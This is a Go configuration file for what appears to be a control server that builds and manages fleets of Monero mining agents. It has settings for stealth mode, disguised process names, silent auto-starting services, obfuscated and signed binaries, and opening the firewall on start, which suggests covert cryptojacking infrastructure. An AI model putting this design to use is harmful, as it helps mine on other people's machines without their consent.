Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
652 lines
23 KiB
Go
652 lines
23 KiB
Go
package main
|
|
|
|
import (
|
|
"encoding/json"
|
|
"flag"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
type Config struct {
|
|
Port int `json:"port"`
|
|
DataDir string `json:"-"` // set from -data CLI flag; never written to config.json
|
|
|
|
Pool PoolConfig `json:"pool"`
|
|
Wallet WalletConfig `json:"wallet"`
|
|
|
|
// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
|
|
DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"`
|
|
Background BackgroundConfig `json:"background,omitempty"`
|
|
Alerts AlertsConfig `json:"alerts"`
|
|
Server ServerSettings `json:"server"`
|
|
}
|
|
|
|
// ServerSettings controls the locally hosted control server (not baked into miners).
|
|
type ServerSettings struct {
|
|
PublicURL string `json:"public_url"`
|
|
StatsRetentionHours int `json:"stats_retention_hours"`
|
|
BuildRetentionDays int `json:"build_retention_days"`
|
|
PoolReconnectSeconds int `json:"pool_reconnect_seconds"`
|
|
WebSocketPingSeconds int `json:"websocket_ping_seconds"`
|
|
MaxAgents int `json:"max_agents"`
|
|
MaxBuildSizeMB int `json:"max_build_size_mb"`
|
|
LogAgentConnections bool `json:"log_agent_connections"`
|
|
LogShareSubmissions bool `json:"log_share_submissions"`
|
|
LogPoolTraffic bool `json:"log_pool_traffic"`
|
|
StrictWalletValidation bool `json:"strict_wallet_validation"`
|
|
DashboardSubtitle string `json:"dashboard_subtitle"`
|
|
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
|
|
ObfuscateDefault bool `json:"obfuscate_default"`
|
|
SignEnabled bool `json:"sign_enabled"`
|
|
SignCertThumbprint string `json:"sign_cert_thumbprint"`
|
|
SignToolPath string `json:"sign_tool_path"`
|
|
SignTimestampURL string `json:"sign_timestamp_url"`
|
|
// FleetSecret is a random token generated once on first run and baked into
|
|
// every forged agent binary. Agents must present it on connect or be rejected.
|
|
FleetSecret string `json:"fleet_secret"`
|
|
}
|
|
|
|
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
|
|
type PoolEndpoint struct {
|
|
Host string `json:"host"`
|
|
Port int `json:"port"`
|
|
UseTLS bool `json:"use_tls"`
|
|
}
|
|
|
|
type PoolConfig struct {
|
|
Host string `json:"host"`
|
|
Port int `json:"port"`
|
|
UseTLS bool `json:"use_tls"`
|
|
Password string `json:"password"`
|
|
BackupPools []PoolEndpoint `json:"backup_pools,omitempty"`
|
|
}
|
|
|
|
type WalletConfig struct {
|
|
Address string `json:"address"`
|
|
PaymentID string `json:"payment_id"`
|
|
}
|
|
|
|
type AgentDefaults struct {
|
|
Threads int `json:"threads"`
|
|
ThreadMode string `json:"thread_mode"`
|
|
ThreadPercent int `json:"thread_percent"`
|
|
CPUPriority string `json:"cpu_priority"`
|
|
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
|
MaxMemoryPct int `json:"max_memory_percent"`
|
|
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
|
MiningMode string `json:"mining_mode"`
|
|
DisplayMode string `json:"display_mode"`
|
|
ProcessName string `json:"process_name"`
|
|
IdleThresholdPct int `json:"idle_threshold_pct"`
|
|
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
|
ScheduleStart string `json:"schedule_start"`
|
|
ScheduleEnd string `json:"schedule_end"`
|
|
InstallBase string `json:"install_base"`
|
|
InstallCustomBase string `json:"install_custom_base"`
|
|
InstallRelativePath string `json:"install_relative_path"`
|
|
AdaptToHardware bool `json:"adapt_to_hardware"`
|
|
SelfHealing bool `json:"self_healing"`
|
|
FileLogging bool `json:"file_logging"`
|
|
StealthMode bool `json:"stealth_mode"`
|
|
}
|
|
|
|
type BackgroundConfig struct {
|
|
SilentMode bool `json:"silent_mode"`
|
|
RunAs string `json:"run_as"`
|
|
AutoStart bool `json:"auto_start"`
|
|
}
|
|
|
|
type AlertsConfig struct {
|
|
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
|
|
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
|
|
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
|
TelegramBotToken string `json:"telegram_bot_token"`
|
|
TelegramChatID string `json:"telegram_chat_id"`
|
|
EmailEnabled bool `json:"email_enabled"`
|
|
SMTPHost string `json:"smtp_host"`
|
|
SMTPPort int `json:"smtp_port"`
|
|
SMTPUser string `json:"smtp_user"`
|
|
SMTPPassword string `json:"smtp_password"`
|
|
EmailTo string `json:"email_to"`
|
|
EmailFrom string `json:"email_from"`
|
|
}
|
|
|
|
func DefaultConfig() *Config {
|
|
return &Config{
|
|
Port: 8989,
|
|
DataDir: "data",
|
|
Pool: PoolConfig{
|
|
Host: "pool.supportxmr.com",
|
|
Port: 443,
|
|
UseTLS: true,
|
|
Password: "x",
|
|
BackupPools: []PoolEndpoint{
|
|
{Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true},
|
|
{Host: "xmr.herominers.com", Port: 1120, UseTLS: true},
|
|
},
|
|
},
|
|
Wallet: WalletConfig{
|
|
Address: "",
|
|
PaymentID: "",
|
|
},
|
|
DefaultAgent: AgentDefaults{
|
|
Threads: 4,
|
|
ThreadMode: "percent",
|
|
ThreadPercent: 75,
|
|
CPUPriority: "below_normal",
|
|
MaxCPUUsagePct: 80,
|
|
MaxMemoryPct: 70,
|
|
MinFreeRAMMB: 1024,
|
|
MiningMode: "always",
|
|
DisplayMode: "background",
|
|
ProcessName: "",
|
|
IdleThresholdPct: 20,
|
|
IdleDurationMinutes: 5,
|
|
ScheduleStart: "21:00",
|
|
ScheduleEnd: "06:00",
|
|
InstallBase: "localappdata",
|
|
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
|
AdaptToHardware: true,
|
|
SelfHealing: true,
|
|
FileLogging: true,
|
|
StealthMode: false,
|
|
},
|
|
Background: BackgroundConfig{
|
|
SilentMode: true,
|
|
RunAs: "service",
|
|
AutoStart: true,
|
|
},
|
|
Alerts: AlertsConfig{
|
|
OfflineThresholdMinutes: 5,
|
|
HashrateDropThresholdPct: 50,
|
|
RejectionRateThresholdPct: 5,
|
|
},
|
|
Server: ServerSettings{
|
|
PublicURL: "",
|
|
StatsRetentionHours: 168,
|
|
BuildRetentionDays: 30,
|
|
PoolReconnectSeconds: 30,
|
|
WebSocketPingSeconds: 30,
|
|
MaxAgents: 256,
|
|
MaxBuildSizeMB: 150,
|
|
LogAgentConnections: true,
|
|
LogShareSubmissions: false,
|
|
LogPoolTraffic: false,
|
|
StrictWalletValidation: false,
|
|
DashboardSubtitle: "security is just an emotion",
|
|
OpenFirewallOnStart: true,
|
|
ObfuscateDefault: false,
|
|
SignEnabled: false,
|
|
SignTimestampURL: "http://timestamp.digicert.com",
|
|
},
|
|
}
|
|
}
|
|
|
|
func LoadConfig() *Config {
|
|
cfg := DefaultConfig()
|
|
|
|
// Parse CLI flags
|
|
port := flag.Int("port", 8989, "Server port")
|
|
dataDir := flag.String("data", "data", "Data directory")
|
|
flag.Parse()
|
|
|
|
cfg.Port = *port
|
|
cfg.DataDir = *dataDir
|
|
|
|
// Try to load from config file
|
|
configPath := filepath.Join(cfg.DataDir, "config.json")
|
|
if data, err := os.ReadFile(configPath); err == nil {
|
|
var fileCfg Config
|
|
if err := json.Unmarshal(data, &fileCfg); err == nil {
|
|
// Use mergeConfigExplicit so that boolean fields absent from the file
|
|
// keep their DefaultConfig values instead of being zeroed (H14).
|
|
var presentKeys map[string]json.RawMessage
|
|
_ = json.Unmarshal(data, &presentKeys)
|
|
mergeConfigExplicit(cfg, &fileCfg, presentKeys)
|
|
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
|
|
cfg.Server.OpenFirewallOnStart = true
|
|
}
|
|
}
|
|
}
|
|
|
|
return cfg
|
|
}
|
|
|
|
func mergeConfig(dst, src *Config) {
|
|
if src.Port != 0 {
|
|
dst.Port = src.Port
|
|
}
|
|
if src.DataDir != "" {
|
|
dst.DataDir = src.DataDir
|
|
}
|
|
if src.Pool.Host != "" {
|
|
dst.Pool.Host = src.Pool.Host
|
|
}
|
|
if src.Pool.Port != 0 {
|
|
dst.Pool.Port = src.Pool.Port
|
|
}
|
|
dst.Pool.UseTLS = src.Pool.UseTLS
|
|
if src.Pool.Password != "" {
|
|
dst.Pool.Password = src.Pool.Password
|
|
}
|
|
if len(src.Pool.BackupPools) > 0 {
|
|
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
|
|
}
|
|
if src.Wallet.Address != "" {
|
|
dst.Wallet.Address = src.Wallet.Address
|
|
}
|
|
if src.Wallet.PaymentID != "" {
|
|
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
|
}
|
|
if src.DefaultAgent.Threads != 0 {
|
|
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
|
}
|
|
if src.DefaultAgent.ThreadMode != "" {
|
|
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
|
}
|
|
if src.DefaultAgent.ThreadPercent != 0 {
|
|
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
|
}
|
|
if src.DefaultAgent.CPUPriority != "" {
|
|
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
|
}
|
|
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
|
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
|
}
|
|
if src.DefaultAgent.MaxMemoryPct != 0 {
|
|
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
|
}
|
|
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
|
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
|
}
|
|
if src.DefaultAgent.MiningMode != "" {
|
|
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
|
}
|
|
if src.DefaultAgent.DisplayMode != "" {
|
|
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
|
}
|
|
if src.DefaultAgent.ProcessName != "" {
|
|
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
|
}
|
|
if src.DefaultAgent.IdleThresholdPct != 0 {
|
|
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
|
}
|
|
if src.DefaultAgent.IdleDurationMinutes != 0 {
|
|
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
|
}
|
|
if src.DefaultAgent.ScheduleStart != "" {
|
|
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
|
}
|
|
if src.DefaultAgent.ScheduleEnd != "" {
|
|
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
|
}
|
|
if src.DefaultAgent.InstallBase != "" {
|
|
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
|
}
|
|
if src.DefaultAgent.InstallCustomBase != "" {
|
|
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
|
}
|
|
if src.DefaultAgent.InstallRelativePath != "" {
|
|
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
|
}
|
|
if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
|
|
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
|
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
|
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
|
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
|
}
|
|
dst.Background.SilentMode = src.Background.SilentMode
|
|
if src.Background.RunAs != "" {
|
|
dst.Background.RunAs = src.Background.RunAs
|
|
}
|
|
dst.Background.AutoStart = src.Background.AutoStart
|
|
if src.Alerts.OfflineThresholdMinutes != 0 {
|
|
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
|
}
|
|
if src.Alerts.HashrateDropThresholdPct != 0 {
|
|
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
|
}
|
|
if src.Alerts.RejectionRateThresholdPct != 0 {
|
|
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
|
}
|
|
if src.Alerts.TelegramBotToken != "" {
|
|
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
|
}
|
|
if src.Alerts.TelegramChatID != "" {
|
|
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
|
}
|
|
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
|
if src.Alerts.SMTPHost != "" {
|
|
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
|
}
|
|
if src.Alerts.SMTPPort != 0 {
|
|
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
|
}
|
|
if src.Alerts.SMTPUser != "" {
|
|
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
|
}
|
|
if src.Alerts.SMTPPassword != "" {
|
|
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
|
}
|
|
if src.Alerts.EmailTo != "" {
|
|
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
|
}
|
|
if src.Alerts.EmailFrom != "" {
|
|
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
|
}
|
|
if src.Server.PublicURL != "" {
|
|
dst.Server.PublicURL = src.Server.PublicURL
|
|
}
|
|
if src.Server.StatsRetentionHours != 0 {
|
|
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
|
}
|
|
if src.Server.BuildRetentionDays != 0 {
|
|
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
|
}
|
|
if src.Server.PoolReconnectSeconds != 0 {
|
|
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
|
}
|
|
if src.Server.WebSocketPingSeconds != 0 {
|
|
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
|
}
|
|
if src.Server.MaxAgents != 0 {
|
|
dst.Server.MaxAgents = src.Server.MaxAgents
|
|
}
|
|
if src.Server.MaxBuildSizeMB != 0 {
|
|
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
|
}
|
|
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
|
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
|
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
|
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
|
if src.Server.DashboardSubtitle != "" {
|
|
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
|
}
|
|
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
|
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
|
dst.Server.SignEnabled = src.Server.SignEnabled
|
|
if src.Server.SignCertThumbprint != "" {
|
|
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
|
}
|
|
if src.Server.SignToolPath != "" {
|
|
dst.Server.SignToolPath = src.Server.SignToolPath
|
|
}
|
|
if src.Server.SignTimestampURL != "" {
|
|
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
|
}
|
|
}
|
|
|
|
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
|
|
func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage {
|
|
if present == nil {
|
|
return nil
|
|
}
|
|
raw, ok := present[section]
|
|
if !ok || len(raw) == 0 {
|
|
return nil
|
|
}
|
|
var nested map[string]json.RawMessage
|
|
if err := json.Unmarshal(raw, &nested); err != nil {
|
|
return nil
|
|
}
|
|
return nested
|
|
}
|
|
|
|
// mergeConfigExplicit is like mergeConfig but only applies fields when the
|
|
// corresponding JSON key was explicitly present in the PUT payload.
|
|
// Top-level absence preserves existing values (H14); nested absence within a
|
|
// section preserves sibling fields (partial PUT / import shallow-merge fix).
|
|
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
|
if present == nil {
|
|
// Fall back to old behaviour if we have no key presence info
|
|
mergeConfig(dst, src)
|
|
return
|
|
}
|
|
has := func(key string) bool { _, ok := present[key]; return ok }
|
|
in := func(section map[string]json.RawMessage, key string) bool {
|
|
if section == nil {
|
|
return false
|
|
}
|
|
_, ok := section[key]
|
|
return ok
|
|
}
|
|
|
|
// Non-boolean scalar fields — safe to use zero-value guard
|
|
if has("port") && src.Port != 0 {
|
|
dst.Port = src.Port
|
|
}
|
|
if has("data_dir") && src.DataDir != "" {
|
|
dst.DataDir = src.DataDir
|
|
}
|
|
|
|
if has("pool") {
|
|
poolKeys := nestedJSONKeys(present, "pool")
|
|
if in(poolKeys, "host") && src.Pool.Host != "" {
|
|
dst.Pool.Host = src.Pool.Host
|
|
}
|
|
if in(poolKeys, "port") && src.Pool.Port != 0 {
|
|
dst.Pool.Port = src.Pool.Port
|
|
}
|
|
if in(poolKeys, "use_tls") {
|
|
dst.Pool.UseTLS = src.Pool.UseTLS
|
|
}
|
|
if in(poolKeys, "password") && src.Pool.Password != "" {
|
|
dst.Pool.Password = src.Pool.Password
|
|
}
|
|
if in(poolKeys, "backup_pools") {
|
|
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
|
|
}
|
|
}
|
|
|
|
if has("wallet") {
|
|
walletKeys := nestedJSONKeys(present, "wallet")
|
|
if in(walletKeys, "address") && src.Wallet.Address != "" {
|
|
dst.Wallet.Address = src.Wallet.Address
|
|
}
|
|
if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" {
|
|
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
|
}
|
|
}
|
|
|
|
// The JSON struct tag is "default_agent_config" — must match exactly.
|
|
if has("default_agent_config") {
|
|
daKeys := nestedJSONKeys(present, "default_agent_config")
|
|
if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 {
|
|
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
|
}
|
|
if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" {
|
|
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
|
}
|
|
if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 {
|
|
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
|
}
|
|
if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" {
|
|
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
|
}
|
|
if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 {
|
|
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
|
}
|
|
if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 {
|
|
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
|
}
|
|
if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 {
|
|
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
|
}
|
|
if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" {
|
|
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
|
}
|
|
if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" {
|
|
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
|
}
|
|
if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" {
|
|
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
|
}
|
|
if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 {
|
|
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
|
}
|
|
if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 {
|
|
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
|
}
|
|
if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" {
|
|
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
|
}
|
|
if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" {
|
|
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
|
}
|
|
if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" {
|
|
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
|
}
|
|
if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" {
|
|
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
|
}
|
|
if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" {
|
|
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
|
}
|
|
if in(daKeys, "adapt_to_hardware") {
|
|
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
|
}
|
|
if in(daKeys, "self_healing") {
|
|
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
|
}
|
|
if in(daKeys, "file_logging") {
|
|
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
|
}
|
|
if in(daKeys, "stealth_mode") {
|
|
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
|
}
|
|
}
|
|
|
|
if has("background") {
|
|
bgKeys := nestedJSONKeys(present, "background")
|
|
if in(bgKeys, "silent_mode") {
|
|
dst.Background.SilentMode = src.Background.SilentMode
|
|
}
|
|
if in(bgKeys, "run_as") && src.Background.RunAs != "" {
|
|
dst.Background.RunAs = src.Background.RunAs
|
|
}
|
|
if in(bgKeys, "auto_start") {
|
|
dst.Background.AutoStart = src.Background.AutoStart
|
|
}
|
|
}
|
|
|
|
if has("alerts") {
|
|
alertKeys := nestedJSONKeys(present, "alerts")
|
|
if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 {
|
|
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
|
}
|
|
if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 {
|
|
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
|
}
|
|
if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 {
|
|
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
|
}
|
|
if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" {
|
|
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
|
}
|
|
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
|
|
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
|
}
|
|
if in(alertKeys, "email_enabled") {
|
|
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
|
}
|
|
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
|
|
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
|
}
|
|
if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 {
|
|
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
|
}
|
|
if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" {
|
|
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
|
}
|
|
if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" {
|
|
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
|
}
|
|
if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" {
|
|
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
|
}
|
|
if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" {
|
|
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
|
}
|
|
}
|
|
|
|
if has("server") {
|
|
srvKeys := nestedJSONKeys(present, "server")
|
|
if in(srvKeys, "public_url") {
|
|
dst.Server.PublicURL = src.Server.PublicURL
|
|
}
|
|
if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {
|
|
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
|
}
|
|
if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 {
|
|
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
|
}
|
|
if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 {
|
|
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
|
}
|
|
if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 {
|
|
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
|
}
|
|
if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 {
|
|
dst.Server.MaxAgents = src.Server.MaxAgents
|
|
}
|
|
if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 {
|
|
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
|
}
|
|
if in(srvKeys, "log_agent_connections") {
|
|
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
|
}
|
|
if in(srvKeys, "log_share_submissions") {
|
|
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
|
}
|
|
if in(srvKeys, "log_pool_traffic") {
|
|
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
|
}
|
|
if in(srvKeys, "strict_wallet_validation") {
|
|
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
|
}
|
|
if in(srvKeys, "open_firewall_on_start") {
|
|
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
|
}
|
|
if in(srvKeys, "obfuscate_default") {
|
|
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
|
}
|
|
if in(srvKeys, "sign_enabled") {
|
|
dst.Server.SignEnabled = src.Server.SignEnabled
|
|
}
|
|
if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" {
|
|
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
|
}
|
|
if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" {
|
|
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
|
}
|
|
if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" {
|
|
dst.Server.SignToolPath = src.Server.SignToolPath
|
|
}
|
|
if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" {
|
|
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
|
}
|
|
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
|
|
dst.Server.FleetSecret = src.Server.FleetSecret
|
|
}
|
|
}
|
|
}
|
|
|
|
func (c *Config) Save() error {
|
|
configPath := filepath.Join(c.DataDir, "config.json")
|
|
data, err := json.MarshalIndent(c, "", " ")
|
|
if err != nil {
|
|
return fmt.Errorf("failed to marshal config: %w", err)
|
|
}
|
|
return os.WriteFile(configPath, data, 0644)
|
|
}
|
|
|
|
func (c *Config) PoolURL() string {
|
|
proto := "stratum+tcp"
|
|
if c.Pool.UseTLS {
|
|
proto = "stratum+ssl"
|
|
}
|
|
return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
|
|
}
|